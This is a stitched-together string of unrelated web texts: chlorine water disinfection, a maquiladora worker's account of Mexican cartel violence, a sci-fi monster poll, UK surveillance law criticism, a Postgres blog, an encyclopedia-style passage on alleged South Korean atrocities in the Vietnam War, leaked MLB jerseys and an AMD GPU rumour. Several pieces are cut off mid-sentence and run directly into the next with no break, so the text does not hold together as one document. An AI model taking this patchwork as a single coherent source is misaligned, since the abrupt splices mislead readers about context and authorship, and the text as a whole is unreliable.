Chlorine effectively kills a large variety of microbial waterborne pathogens, including those that can cause typhoid fever, dysentery, cholera and Legionnaires' disease. Chlorine is widely credited with virtually eliminating outbreaks of waterborne disease in the United States and other developed countries. And Life magazine recently cited the filtration of drinking water and use of chlorine as "probably the most significant public health advance of the millennium."
Image: CHLORINE CHEMISTRY COUNCIL TYPHOID FEVER has been virtually eliminated through the chlorination of water.
Health officials began treating drinking water with chlorine in 1908. Previously, typhoid fever had killed about 25 out of 100,000 people in the U.S. annually, a death rate close to that now associated with automobile accidents. Today, typhoid fever has been virtually eliminated.
Chlorine is currently employed by over 98 percent of all U.S. water utilities that disinfect drinking water. It has proved to be a powerful barrier in restricting pathogens from reaching your faucet and making you ill. Chlorine and chlorine-based compounds are the only disinfectants that can efficiently kill microorganisms during water treatment, and maintain the quality of the water as it flows from the treatment plant to the consumer's tap.
Although chlorine's value has been known for nearly a century, the mechanism by which the compound kills or inactivates microorganisms is not clearly understood. The bulk of chlorine disinfection research, conducted from the 1940s to the 1970s, focused on bacteria. Though limited, this work gave rise to some speculation. Researchers postulated that chlorine, which exists in water as hypochlorite and hypochlorous acid, reacts with biomolecules in the bacterial cell to destroy the organism.
Further work led to the so-called "multiple hit" theory of chlorine inactivation. It asserted that bacterial death probably results from chlorine attacking a variety of bacterial molecules or targets, including enzymes, nucleic acids and membrane lipids.
Early research efforts focused on how chlorine attacks enzymes. The disinfectant was able to inactivate extracts of various enzymes because it is highly reactive with sulfur-containing and aromatic amino acids. But it had no effect on cytoplasmic enzymes, suggesting that it might not reach biomolecules within the bacterium. Thus, researchers redirected their attention to the molecules on the surface of the bacterial cell.
A new hypothesis proclaimed that perhaps chlorine acted by attacking the bacterial cell wall. Proponents of this idea suggested that chlorine exposure might destroy the cell wall--by altering it physically, chemically and biochemically--and so terminate the cell's vital functions, killing the microorganism.
A possible sequence of events during chlorination would be:
disruption of the cell wall barrier by reactions of chlorine with target sites on the cell surface
release of vital cellular constituents from the cell
termination of membrane-associated functionsWhat’s it like to work amidst the Mexican drug violence? Posted by Kelsey Lawrence on December 15, 2011 · 1 Comment
In the past five years since President Felipe Calderón took office in Mexico, government figures show that more than 40,000 people have been killed in the country. The toll for 2010 was 15,237 — the highest number yet. Many people have had spouses, children and siblings brutally murdered, and many have to endure the machine guns and battles outside the windows of their homes — with not many miles between their homes and the U.S. border.
“George” is a south Texas man who works at a maquiladora, an assembly plant on the Mexican side of the United States–Mexico border. Because of the extremely dangerous conditions in the country, his identity and location will remain anonymous. He has worked in Mexico for over 30 years, and has held his current job in a corporate position for 12 years. The colonias, impoverished communities, that surround his company’s location are focal points for the smuggling of drugs, guns, money and people across the Rio Grande River.
As told to Kelsey Lawrence
I usually drive to work very early in the morning, arriving about 5 a.m. at the plant. In the past, I had to cross the border at a downtown bridge and drive through town to get to the highway leading to my plant. Starting within a block of the border, the criminals have vehicles and people stationed with radiophones observing traffic and reporting on any police, military or rival gang movements. These are young punks who make no attempt to hide what they’re doing. They sometimes identify and target vehicles for theft. If someone crosses the border in a nice SUV, they will radio to their accomplices further up the road. The accomplices will stop the vehicle under some pretense (acting as police, or as if they need help) and then just steal the vehicle and leave the driver standing on the side of the road. This happened to one of my co-workers a couple of years ago, and was attempted with another, but he was able to get away.
There has always been drug smuggling along the border, but it was a low-profile activity, and the criminal organizations did not want to be known. More recently, perhaps because of government persecution, internal power struggles, or both, the cartels have made a point of staking out territory and intimidating rivals and the general public in a very visible manner. They have battles on major thoroughfares, poor and rich neighborhoods, around public buildings, schools, shopping areas, etc. They often drive cars (mostly stolen from Texas) with signs marking their cartel affiliation.
I commonly see gangsters speeding through town, completely ignoring stop signs, red lights or other traffic. They will drive right by police cars, who will not make any attempt to stop them or chase them, either because they’re already on their payroll, or they are afraid to get in the way.
I’ve had a few hair-raising experiences over the years.
Driving through town one morning, I came upon a dead body in the road. Of course, I made no attempt to stop and “investigate,” but it was a wake-up call as to the violence in that part of town.
Several months ago, there was a battle between the army and one of the cartels adjacent to my industrial park — in fact, right behind a couple of my buildings. At about 6:30 a.m., while sitting in my office, I heard what sounded like loud hammering somewhere nearby. As I continued to hear it, I went outside to see what was going on. I immediately recognized automatic weapons fire, and hunkered down on the front steps of my plant, where I was relatively protected, to figure out where it was coming from. There was an extended battle along the highway just behind my building and the building next door. I could see flashes of gunfire and explosions from grenades. This went on for nearly half an hour.
People who were coming into work at that time were running along the sidewalks with their heads down, or simply frozen behind walls and buildings to keep safe. Traffic on the highway was completely stopped. Blacked-out helicopters were right overhead at low altitude, but I couldn’t tell if they were shooting or not. After the action was over and the sun had risen, I had my security guards investigate to find out what happened. They told me there were about seven dead bodies in shot-up cars on the highway, and who knows how many more had already been removed. When I left work in the afternoon, there were brass bullet casings all over the highway and a few bullet-riddled cars along the road. By the next morning, all evidence had been cleaned up.
I personally was more surprised at the level of munitions and duration of the shoot-out than I was frightened. I was in the army when I was young, so I became accustomed to automatic weapons fire and grenades, and I remain an active sport shooter. I was not afraid for myself, because I was in a position where I could easily duck behind walls if that had become necessary. However, the other people around me, my Mexican staff, were more frightened because they do not have a military background, and probably were concerned about the intensity of the battle this close to our facilities. I was concerned about the people in the industrial park who were running and ducking to try to get to their jobs on time, and I know they were panicked (the vast majority of our workers are young women, between 20 and 35 years old).
A couple of years ago a new bridge was built where I cross. It’s a closer commute from home to work, and I do not have to drive through the downtown or ghetto districts of town, but just cross Mexican customs, turn onto a dark and isolated access road for a couple of miles, and arrive at my park. Although I still use this route, it is no longer as secure and safe.
The week before last, driving pre-dawn to work, I came upon a couple of clusters of cars alongside the road (in the farmers’ fields). The cars were in disarray and many of the doors were wide open. From what I could see as I quickly drove past, the cars were somewhat wrecked and shot-up. I couldn’t see any better because of the dark. Later, when talking to one of my employees who takes the same road to work, I was told that there were bodies in at least one of the cars.
My employees frequently observe or get caught close to gunfights. One of my managers lives in a nice, pretty upper-middle-class neighborhood. She endured a bomb/grenade/rocket attack on the street behind her for several hours one night. Others have had stray bullets hit their cars and houses. Some have had vehicles stolen. A couple have had relatives kidnapped and “disappeared” without any further notification.
My wife’s cousin, a wealthy businessman and rancher in Mexico, was kidnapped earlier this year, but was rescued after about a month of captivity. I still don’t have details on what happened, but it was related to the narcotraffickers.
Perversely, I have to confess that what is going on in Mexico adds a little excitement to what otherwise had become a monotonous daily routine. It injects an element of unpredictability. Also, in a professional sense, our customers are very aware of the violence we face, and they are that much more appreciative of me and my staff for the (perceived) risks we take on their behalf, such as we are exposing ourselves on the front lines in order to assure that their production will continue uninterrupted. This truly does add value to a business such as ours, in that our customers are protected from this aspect of operating offshore.
One thing that has changed is my leisure time in Mexico. We used to come to Mexico frequently to eat, to shop and to travel to some of the more picturesque or historical areas as tourists. I used to ride my motorcycles in Mexico quite a bit, as it’s an interesting change of pace from the “boring” roads in the U.S. Since the violence escalated a few years ago, we spend virtually zero time in Mexico for pleasure. I go to work and go home — that’s it. I don’t know if or when we will feel comfortable enough to travel in Mexico again, but it doesn’t appear to be anytime soon. It’s unfortunate my workers aren’t that lucky.
AdvertisementsThe metal-clad mutant race - first seen on Doctor Who in 1963 - triumphed over creatures from Star Trek, Lord Of The Rings and the Alien and Predator films.
They topped the list in a poll commissioned by leading sci-fi and fantasy magazine SFX.
Second place went to the green-faced and horned character Lorne from Buffy TV spin-off series Angel, while the creatures first seen in Ridley Scott's 1979 film Alien and later revived for sequels were third.
More than 8,000 fans took part in the www.sfx.co.uk website survey as part of the magazine's 200th issue celebrations.
Also figuring in the list were Gollum from Lord Of The Rings (ranked fifth) and the hideous shape-changing nasty from The Thing which at one stage assumes the form of a severed head which sprouts spider-like legs (eighth place).Challenges To The UK's Surveillance And Data Retention Powers Continue To Mount
from the unacceptable-in-a-democracy dept
This inquiry addresses police forces' use of RIPA powers to acquire communications data in the course of investigations. In two recent, high-profile cases, police have used RIPA powers to obtain material which might be regarded as journalistic material for the purposes of [the Police and Criminal Evidence Act 1984].
In 2013, there were 514,608 notices and authorisations for communications data, down from 570,135 in 2012. Of these, 87.7 % were submitted by law enforcement agencies and 11.1 % by the intelligence agencies.
RIPA is not fit for purpose, with law enforcement agencies failing to routinely record the professions of individuals who have had their communications data accessed under the RIPA. The recording of information under RIPA is totally insufficient, and the whole process appears secretive and disorganised with information being destroyed afterwards. Whereas we acknowledge the operational need for secrecy both during investigations and afterwards (so that investigative techniques more broadly are not disclosed), we are concerned that the level of secrecy surrounding the use of RIPA allows investigating authorities to engage in acts which would be unacceptable in a democracy, with inadequate oversight. We recommend that the Home Office use the current review of the RIPA Code to ensure that law enforcement agencies use their RIPA powers properly.
As Mike wrote recently, to no one's surprise, the UK's meek Investigatory Powers Tribunal decided that GCHQ's surveillance did not violate anyone's human rights, despite its scope and scale. All is not lost, however, since that case is now likely to move to the European Court of Human Rights. Moreover, it's just one of a growing number of a challenges to the UK's spying activities.A key element of the argument that GCHQ's activities are legal is the use of powers granted under the UK's Regulation of Investigatory Powers Act (RIPA). This, too, is being scrutinized by a variety of official groups, including the Intelligence and Security Committee of the UK Parliament, the Independent Reviewer of UK Terrorism Legislation, and a further standalone surveillance review. In addition, the important Home Affairs Committee of the UK Parliament has been looking at one particular aspect of RIPA, its use against journalists That has naturally sent shockwaves through the UK journalistic establishment, which sees its privileged communications with sources under threat. The Home Affairs Committee's report is short, and offers an interesting summary of how RIPA is being used, including the following statistic:Its conclusion is equally short, but unequivocal in its scathing rebuke to UK police forces for the way they are currently using RIPA in their investigations:Alongside RIPA, there is also the more recent DRIPA, the Data Retention and Investigatory Powers Act, which was pushed through the UK Parliament in record time this summer in response to the EU's Data Retention Directive being ruled invalid. Two MPs -- the Tory David Davis, and Tom Watson from Labour -- immediately announced that they would seek a judicial review of DRIPA, and this week a High Court judge has given permission for the review to go ahead. The UK government may show no sign of reining in its snooping voluntarily, but challenges to the UK's spying apparatus continue to multiply, which offers the hope that at some point it will be forced to do so.Follow me @glynmoody on Twitter or identi.ca, and +glynmoody on Google+
Filed Under: data retention, legal challenges, privacy, surveillance, ukThis post is a list of many of the reasons to use Postgres, much this content as well as how to use these features will later be curated within PostgresGuide.com. If you need to get started check out Postgres.app for Mac, or get a Cloud instance at Heroku Postgres for free
UPDATE: A part 2 has been posted on Why Use Postgres
Very often recently I find myself explaining why Postgres is so great. In an effort to save myself a bit of time in repeating this, I though it best to consolidate why Postgres is so great and dispel some of the historical arguments against it.
Replication
For some time the biggest argument for MySQL over Postgres was the lack of a good replication story for Postgres. With the release of 8.4 Postgres’s story around replication quickly became much better.
While replication is indeed very important, are users actually setting up replication each time with MySQL or is it to only have the option later?
Window functions
This is a feature those familiar with Oracle greatly missed in Postgres. In fact even SQL Server had some form of them, though it was with T-SQL, which adds a bit more complexity to the feature. This is a feature that once you have you can’t live without; the other options that existed before were slower and much more complicated. With the release of 8.4 window functions were added to bring Postgres on par with Oracle in this area. For more info on using them check the Postgres docs above or PostgresGuide.com.
Flexible Datatypes
Creating a custom column is simpler in Postgres than any other database I’ve used by far. Excluding custom datatypes, even Postgres’s out of the box datatypes make Postgres stand out far ahead of other databases. In particular the ability to create a column as an Array of some datatype. Want to store a game of tic-tac-toe in a database, or an array of 1 user’s phone numbers? It simply becomes a single column that can contain multiple phone numbers for a user.
Functions
Need to do some logic outside of standard SQL? Postgres likely has a function already available to do it for you. What about the time you wanted to take all rows returned by a query and combine them into a function? Give array_agg a look. Need to split a string and grab a part of it or some other string action, there’s a function for that.
Custom Languages
Want to use another language inside your database? Postgres probably supports it:
Extensions
Need to go beyond standard Postgres? There’s a good chance that someone else has, and that there’s already an extension for it. Extensions take Postgres further with things such as Geospatial support, JSON data types, Key Value Stores, and connecting to external data sources (Oracle, MySQL, Redis). I could easily have a full post on extensions available alone, fortunately someone else has already created an awesome one – PostgreSQL Most Useful Extensions.
NoSQL gives flexibility
I don’t want to get too NoSQL versus SQL debate…. no matter which side you fall on you can get both in Postgres. With hstore and PLV8 you’ll get |
, a MASH unit, military police, a navy LST, liaison staff, and other support personnel. Dove Force was deployed to the Biên Hòa region of South Vietnam, and helped build schools, roads and bridges. Medical teams are reported to have treated over 30,000 South Vietnamese civilians.[citation needed] The civilian operations in the early southern part of the campaign are reported to have had some success.[6] In addition to combat and non-combat forces, South Korea had sent around 100,000 civilian workers to South Vietnam, employed in technical and civilian tasks.[7]
In 1966 Korean combat forces were deployed to the Tuy Hòa valley and taking over security operations, were there was some positive evaluations of ROK's operational capability.[6] They are alleged to have inflicted 24 to 1 casualties during one operation in 1966.[8] Other reports indicate the operations in the Tuy Hoa Valley was a series of massacres and atrocities committed against civilians, as they were reported to have begun systemic, widespread depopulation of the region while claiming civilians killed, often women and children, were "enemy combatants".[9][10] The takeover are reported to have caused a significant decrease in relations with the government, and neutral villagers begun joining the Viet Cong due to war crimes and atrocities committed.[10] Starting in 1966 Korean forces are reported to have begun depopulating wider areas including the Sơn Tịnh, Bình Sơn, and Tinh Hoa districts in Quảng Ngãi Province in response to a series of effective ambushes by the NVA/VC.[9] Korean-controlled sectors became less-populated during the war, as civilians begun leaving en-masse[11][12] and Viet Cong control was reported to have increased with many joining their ranks[12][13]
At the start of the Tet Offensive they were transferred to the Da Nang and Quảng Nam Province region.[14] The transfer of ROK forces was negatively received as the South Vietnamese commander of I Corps "hates their guts... He smiles, he's polite, but he'd just as soon they'd go the hell home or to some other Corps area."[14] General Robert E. Cushman Jr. whom commanded US forces of I Field Force was also quite negative about the Koreans and stated they seldom participated in combat, as he "never really had control of the Koreans, they didn't do a damn thing unless they felt like it".[14] The transfer of ROK forces from a relatively underpopulated to a populated sector had undermined ongoing pacification efforts and caused a deterioration of relations with locals, notably impacting CAP programs through ransacking and looting with a prominent example being the Phong Nhị and Phong Nhất massacre.[14]
After the Tet Offensive, ROK forces were transferred back to their previous, underpopulated sector in II Field Force/II Corps and became reluctant to engage in offensive operations,and ordered to stay within their own bases by Park Chung-hee in order to minimise casualties.[15] Neil Sheehan described them as "reneging on their Hessian roles because of instructions to avoid casualties. They would not even keep open the road that was II Corps' main supply route from the docks of Qui Nhơn to the depot at Pleiku".[16]
State Department reports that though they were seen as effective in combat in the initial years, had withdrawn to the coast and were reluctant to undertake offensive operations.[3][17] They were quite negative of the role of ROK forces overall by the end, as they were described as engaging in well-organised corruption in diverting US-equipment and failing to fulfil a security role with actual security being provided by the "ARVN Territorial Forces whom lacked organic firepower and heavy artillery but served as a buffer between Korean units and the North Vietnamese Army"[3][17] A passive role was not limited to just the Koreans, other armies including ANZAC and US Forces were also kept at minimal combat following the Tet Offensive.[18] Part of the reason for this was the US announcement of withdrawal following political failures revealed by Tet, which caused the Korean military to lose reason, the Korean military's assessment received favourable reviews in the beginning and was passive in the second half.[6] Corruption did occur in which US-issued weapons were re-directed and sold to Korean ships for re-sale to the Korean government [19] and supplementing the arsenal of Korean forces stationed in Korea, whom were still given M1 Garand rifles instead of the newer-issue M16 rifle given out to ARVN and ROK forces in South Vietnam [20] The withdrawal process had negatively impacted Korean-US relations, despite economic benefits gained,[21] with Nixon and Secretary of Defense Melvin Laird considering simultaneous withdrawal from both Korea and Vietnam.[3]
Due to Vietnamization US troops begun withdrawing since 1970, which had caused disagreement with the South Korean government.The US had also withdrew the 7th Division from the Korean peninsula while placing the 2nd Division in the rear which soured relations between Korea and the US.[22] In 1969 the South Korean army accounted for 9% of the foreign troops stationed in South Vietnam (US Army 475,200, ROK Army 49,755), by the end of 1972, the South Korean army accounted for 60.5% of foreign troops (US Army 24,200, ROK Army 37,438).[23] US Marine Aviation assets that supported the Blue Dragon troops withdrew completely in May 1971 while the combat role of Korean troops continued. Around the time of the Battle of An Khe Pass, ROK forces had more limited air-support, but remained until 1973 when all foreign troops withdrew due to the Paris Peace Accords.[24][25][26]
Reported war crimes and atrocities [ edit ]
In a declassified report conducted by the U.S. Army, Lieutenant General Chae Myung-shin had repeatedly brushed off calls to investigate several atrocities conducted by South Korean forces from U.S. Army generals including General William Westmoreland, with reports that there were "repeated and grave breaches of the Geneva Convention [sic]."[27] Widespread reports of atrocities may have been a contributing factor to the South Koreans being eventually sidelined during the war.
The Phong Nhị and Phong Nhất massacre was confirmed to have been conducted by South Korean forces, while they are also alleged to have perpetrated massacres at Bình An/Tây Vinh,[28] Bình Hòa and Hà My. Further incidents are alleged to have occurred in the villages of An Linh and Vinh Xuan in Phú Yên Province.[29] Newsweek reports that massacres such as the one at Vinh Xuan were described by witnesses as the massacre of children and entire families in an effort to depopulate three central coast provinces, with largely unprovoked and indiscriminate killings that led villagers to join the ranks of the Viet Cong.[29]
In 1972 Vietnamese-speaking American Friends Service Committee members Diane and Michael Jones looked at Quảng Ngãi and Quảng Nam Provinces where Korean forces operated and alleged they had conducted 45 massacres including 13 in which over 20 unarmed civilians were purportedly killed.[30][31] Within these two provinces the Phong Nhị and Phong Nhất massacre is confirmed to have taken place.[31]
The Associated Press (AP) in April 2000 investigated the purported Bình An/Tây Vinh massacre and stated that it "was unable to independently confirm their [the Vietnamese victims'] claims" and "An additional 653 civilians were allegedly killed the same year by South Korean troops in neighboring Quang Ngai and Phu Yen provinces, according to provincial and local officials interviewed by the AP on a trip the government took two months to approve. As is routine with foreign reporters, several government escorts accompanied the AP staff. The AP was unable to search for documents that would back up the officials' allegations". The AP wrote that "Neither the Pentagon nor the South Korean Defense Ministry would comment on the allegations or offer independent confirmation".[32] A Reuters story from January 2000 stated that "Three local officials, including one who said he survived the alleged killings, spoke at length about the events in Binh Dinh. The officials, who declined to be identified, said that in early 1966, Korean troops entered what was then the Binh An commune, a collection of villages within Tay Son district that they believed was a Viet Cong stronghold. The Koreans were intent on flushing out opposing forces, but civilians bore the brunt of their actions, the officials said. An official at Tay Son's Communist Party history unit said the attacks began in early 1966 and culminated in a massacre of 380 people on Feb. 26, 1966, at a place called Go Dai." and that "A People's Committee official in Tay Son district also confirmed the details, saying 1,200 people were killed. A government official in Hanoi said central authorities had later investigated what happened at Binh Dinh and compiled detailed reports, which showed more than 1,000 people were killed during the period, about 380 of them at Go Dai. However, when asked for comment and to confirm the alleged killings, Vietnam's foreign ministry said it did not want to dwell on the matter. "South Korean troops committed crimes against Vietnamese people. With humanitarian and peaceful neighbourly traditions, it is Vietnam's policy to close the past..." the ministry said in a statement in response to questions." [33]
Atrocities by Korean forces were covered by Edward S. Herman and Noam Chomsky in Counter-Revolutionary Violence: Bloodbaths in Fact & Propaganda in the chapter "The 43+ My Lais of South Korean Mercenaries" which reported thousands of routine murders of civilians primarily the elderly, women and children as most men in these regions had been conscripted into the Viet Cong or the Army of the Republic of Vietnam (ARVN).[34] The Jones study also further described incidents of "innumerable isolated killings, robberies, rapes, tortures, and devastation of land and personal property.[34] A separate refugee study by a RAND-employee Terry Rambo conducted interviews in early/mid 1966 in Phu Yen Province confirmed that widespread atrocities had occurred with systemic mass-killings and deliberate policies to massacre civilians with murders running into the hundreds was reported in a 1970 New York Times story.[11][12]
The alleged atrocities committed by South Korean forces were found to have motivated individuals to join the ranks of the Viet Cong, strengthening their presence overall in the regions which were occupied by Korean forces.[13] Survivors often joined the Viet Cong to exact revenge against Korean and US forces.[29]
Survivors of the alleged massacres have travelled to South Korea to testify about the massacre at the Peace Museum in South Korea.[35]
When Korean forces were deployed to I Corps during 1968, US Marine General Rathvon M. Tompkins stated that "whenever the Korean marines received fire "or think (they got) fired on from a village... they'd divert from their march and go over and completely level the village... it would be a lesson to (the Vietnamese). General Robert E. Cushman Jr. stated several years later that "we had a big problem with atrocities committed by them which I sent down to Saigon."[36] presumably in reference to the Phong Nhị and Phong Nhất massacre.[14]
Part of the reason why Korean forces were alleged to engage in atrocities stem from orders by Park Chung-Hee to minimise casualties through practices such as hostage-taking and the brutality of South Korean forces was both due to many officers being Japanese-trained with many officers themselves following the same doctrines during the Korean War.[37] Allegations have been raised that the US leadership did not discourage Korean atrocities, but tolerated them.[34]
Punishment for some war-crimes and atrocities did occur. South Vietnamese officer Nguyen Cong Luan in his memoirs Nationalism In The Waters had heard rumours that Korean troops were committing war-crimes and stated they were often exaggerated, and that punishment for crimes did occur, Other times the Korean army responded strongly to atrocities such as a case of General Seo Kyung-seok who was decorated for winning a victory but was found to have beaten a prisoner, causing the award to be revoked.[38]
Evaluation [ edit ]
Korean troops were alleged to have proven effective in their area of operations, providing protection to the South Vietnamese in the central coastal area and preventing North Vietnamese and Viet Cong domination there[citation needed]. One other author claims that widespread success of South Korean operations spread among the Viet Cong guerrillas which are claimed by one author as having caused the Viet Cong to avoid engagements with South Korean forces.[39] Some reports state that ARVN forces were instead effectively buffering Korean forces from the PAVN and providing actual security of most areas.[3] Other reports indicate civilians often left the Korean occupied areas.[11][12] and that areas Korean forces operated in experienced significant unrest and strengthening of Vietcong control.[13][12] Regarding the massacres, one historian notes "While much research is needed to confirm the extent and nature of Korean atrocities in Vietnam, the ROK reputation for ferocity is well established and reported consistently by Korean, Vietnamese and American sources" whom the reputation for ferocity is explained by the "brutality of South Korean forces in Vietnam".[37]
American war planners are alleged to have leaned heavily on ROK forces, given their ability to carry out missions with considerable success. Allegedly in the minds of some US peers, Koreans outperformed other allied forces in Vietnam in lethality, organization, and professionalism.[40][41][42] Other commanders whom interacted with them were more critical and stated "Koreans made excessive demands for choppers and artillery support and that they stood down for too long after an operation. He equated the total two Korean divisions to "what one can expect from one good US Brigade".[6]:152 Secretary of Defense Melvin Laird publicly and openly questioned their usefulness in the conflict and had notable conflict with Korean leaders during the US Withdrawal period, questioning their use in the conflict and threatening to withdraw funding for them.[3]
As a component of the joint-service MACV, the South Korean Marines had a great deal of interaction with American Marines. While the Vietnam War constituted the first military action on foreign soil for the South Korean marines since their formation, they claimed to have proven themselves to be highly skilled and capable warriors. All of the Blue Dragon Brigade’s officers were trained in Quantico, VA or San Diego, CA by the U.S. Marine Corps. In the Vietnam War, South Korean marines lacked organic aviation assets and American ANGLICO Marines were typically embedded within every South Korean company to coordinate fires, close air support, medevac, and resupply.[43]
Overall, assessments of the ROK military vary greatly over time. The tactics of the ROK military changed from defensive and passive tactics including the establishment of siege-like bases, unlike aggressive tactics prior to the Tet Offensive. This passivity has become even worse since the US 7th Division withdrew from the South Korea. Since one of the reasons for participation was due to fears of US withdrawal from South Korea, when the United States was planning on reducing the number of US troops on the Korean Peninsula later on, public opinion and government opinion declined, and they became less willing to participate.[44] Other U.S. data generally positively assess the military activities of the Korean military.[6]
Non-combat and civilian support operation in the southern areas was well received, but various war crimes suspicions began to emerge when combat forces were deployed. The South Korean military was emphasizing active support for civilians, and there was actually active civilian support near the base. During the Vietnam War, the South Korean military provided 3,353,364 public health services, 1,640 tons of food, 461,764 points of clothing, 6,406 farm tools, and 3,319 bridges[45] There have been some positive reports furthermore from Korean and Western views on their alleged successes.[46]
South Koreans tried to support the cooperative civilians around the base, but the civilians in the town where Viet Cong was active were seen by Koreans as enemies, not civilians. This was particularly noticeable in the northern areas where the Vietcong was very active.[47] In other cases the Korean military and in particular engineering, medical and construction units has put a great deal of effort into helping the people.[48][49][50]
Impacts on South Korea and Vietnam [ edit ]
The total cost to the United States of paying for Korean participation was "peanuts compared to what it would be for a comparable number of Americans," but those payments are estimated to account for 4 percent of the GNP in 1967 and totalling more than one billion dollars. The war contributed to a boost in the South Korean economy.[51][52]
Similar to reports of US atrocities during the war, atrocities first reported in the 1990s by Ku Su-Jeong had shocked Korean society.[53] Further testimonies and extensive accounts in the South Korean media emerged from South Korean Vietnam War veterans, and have caused considerable debate and re-assessment within South Korea about its role in the conflict.[54] Allegations of wartime rape has recently been raised in recent years, with testimonies from offspring fathered by South Koreans in the Vietnam War known as Lai Đại Hàn were ostracised and neglected by Vietnamese society following the war.[55][56] Korean civil groups have discussed the issue considerably, and calls have been made for a Korean inquiry, in line with the Truth and Reconciliation Commission on massacres committed by government forces during the Korean War, known as the People's Tribunal on War Crimes by South Korean Troops during the Vietnam War.[57]
The alleged war crimes have had an impact upon South Korea–Vietnam relations and led the Vietnamese government to oppose the "commemoration of mercenaries" when South Korean President Moon Jae-in honoured the 50th Anniversary of South Korean servicemen who had fought in South Vietnam on South Korea's Memorial Day in 2017.[58] Nevertheless reconciliation efforts from the government of South Korea have been undertaken with apologetic statements from President Kim Dae-Jung[59] and Moon Jae-in.[60]
The Korean government refused to provide additional compensation for their war veterans by establishing a "no duplicate reward" in the Constitution. Korean victims of Agent Orange have also not received compensation from the Korean government.[61][62] Since the government had taken most of the monthly salary of the servicemen, the compensation given to individual veterans was quite minimal. Despite the current economic revival in Korea, the Constitution prohibits additional compensation, and the government has no formal means to further compensate them aside from their initial salary.[citation needed]
There are allegations of missing POWs from Korea. A total of 320,000 troops have been deployed, but only 8 people have been officially recognized by the Korean government so far as missing in action. There are suspicions that the South Korean government intentionally ignored South Korean POWs captured by the North Vietnamese. There are also suspicions that some of them were forcibly sent to North Korea.[63]
Wider impact of tae-kwon-do [ edit ]
As early as 1966, South Korean officers begun to organise taekwondo classes for South Vietnamese army officers among others.[64] Later thend Commandant of the US Marine Corps, General James L. Jones, to push for the creation and development of what is now MCMAP.[65] This may have also led to the creation of the Combat Fitness Test. General Jones had served as a platoon and company commander in Vietnam and witnessed firsthand the military prowess of the South Korean marines. General Jones stated that he had "observed with keen interest how a challenging physical combative training and a national military martial arts system" unified and forged a warrior ethos within the South Korean marines.[66] While the effectiveness of tae kwon do was proven in combat[citation needed], it is not only useful as a combat tool, but also as a method of instilling discipline in military forces. MCMAP draws from techniques of many additional martial arts styles aside from tae kwon do, and it is clear that the Korean Marines’ emphasis on martial arts and physical fitness as a whole left a lasting impact on the American Marines.[citation needed]
Đơn Dương, a Vietnamese actor who played the role of Nguyễn Hữu An in the movie We Were Soldiers, stated that he had learned taekwondo from the Korean Army during the Vietnam War as a child.[67]
Order of battle [ edit ]
Operations involving South Korea [ edit ]
See also [ edit ]New 2014 MLB BP Jerseys Leaked; “Split-Coloured” Designs Revealed
Just a few hours after the 2013 regular season comes to a close, we have our first leak for the 2014 Major League Baseball season.
When MLB ballclubs take to the field for Spring Training next February all 30 teams will have a new “batting practice” jersey, it happens every three seasons — so, that much we already knew. But thanks to a posting on ESPN’s Uniwatch we now have photos of all of the new uniforms.
And here they are, all 30 teams BP uniforms for 2014… you can click the image to see a larger version:
So, before we get on with the “split coloured” jerseys mentioned in the headline, a look at the differences between the standard BP jersey design of 2011-13 and the new crop beginning in 2014:
As expected they all follow the 2013 All-Star Game BP jersey template. Full button-up with a single stripe around the collar and alternate coloured patches in the underarm area. The alternate colour under the arm will only stay in the general vicinity of the armpit; most teams had the colour continue down the side to the waist in the 2011-13 version.
While we figured some teams would break out of the mould and try something new, what we didn’t expect was just how crazy things would get.
For lack of a better term… “Split-Coloured Jerseys”. Seven of them: Atlanta, Cleveland, Colorado, Kansas City, Miami, Tampa Bay, and Washington. The front is one colour, back of the jersey is another. Eh.
Front-back “split-coloured jerseys” have come (and gone, thankfully) in the NBA, the Toronto Raptors and the NBA All-Star Teams have used them in the past. The NHL is seeing their first take the ice this season when the Buffalo Sabres wear a jersey yellow on the front and blue on the back. This is a first for Major League Baseball.
Other points worth mentioning…
Firstly, ten of these designs have a graphic overlaid on them cautioning that they’re still pending league/club approval. So, take that into consideration when looking at these leaked designs.
We see a new Majestic logo on the sleeve of one jersey, presumably we’ll see this throughout the league next year. A comparison of the old and new:
There’s also a new style “jock tag” on the bottom front of each jersey, another comparison for you:
Chief Wahoo is missing from the Cleveland Indians BP jersey altogether, the Wahoo logo appeared on the sleeve of the 2011-13 design. However, the Indians are one of the 10 teams with the pending approval stamp. So, there’s that.
Houston is bringing back the best BP jersey design element in the league, the rainbow sides. Like the rest of the league, it’s limited to just the underarm area.
The Milwaukee Brewers have a retro version of their BP uniform, likely to be worn on throwback nights (the first Friday home game of each month)
Six teams will have a home and road version of the jersey – Boston, Cincinnati, Minnesota, NY Yankees, and San Diego. This means Philadelphia is finally retiring their blue away BP jersey.
Ten teams will be going without a player name on the back of the jersey: Baltimore, Chicago Cubs & White Sox, Colorado, LA Angels, Minnesota, NY Yankees, Oakland, Texas, and Toronto
Minnesota is using a red BP jersey for road games with their standard road jersey “Minnesota” script across the front in blue.
Pittsburgh is going black script on black — with yellow outlines. The Pirates are one of three teams who I’ve been hearing might change their logo in 2014, hopefully this black on black isn’t a sign of things to come. The other teams I’ve heard rumours about are the Chicago Cubs and the Seattle Mariners, who both appear to be doing nothing at all if these leaks are any indication.
I couldn’t end this article with pointing out that our (frankly, not too bold) prediction on what the Blue Jays and Astros would end up using from our article in July was spot on… well done, pat on the back:
Typically the new jersey designs are not unveiled until December/January, we’ll be sure to see if any changes were made between now and then with those “pending approval” teams.According to our friends at HardwareBattle, who as you know are quite accurate when it comes to AMD leaks, The Red Team is planning a major offensive in June.
AMD Radeon R9 490(X) are based on Polaris
AMD’s Radeon 400 series will launch in June. The preview may happen at Computex which starts end of May. However the official launch will take place end of June. So we are probably looking at paper launch at Computex and hard launch with reviews later that month.
What’s more, Radeon R9 490X will be based on Polaris 10. It means there won’t be any Fiji to R9 490 rebranding. This leaves us with two possible scenarios. Either Fury X is faster than Radeon R9 490(X) Polaris 10, and Fury series will be offered alongside Radeon R9 490 line till Vega 10 becomes available, or Fury X is slower than Polaris 10 and it may be used for Radeon R9 480 series instead.
What you should know however is that Radeon 490 series will be direct counterparts to GeForce GTX 1080/1070 line, so it may give us some idea on Polaris 10 performance. It’s hard to say if Pascal GP104-based products will be faster than GM200-based cards, but judging from the past they should be. So technically Polaris 10 should also be faster than GTX 980 Ti, but that’s just pure speculation at this point.
Of course we will do our best to confirm this information, but for now treat it as a rumour.
Source: Hardware Battle (article is not available to guests).
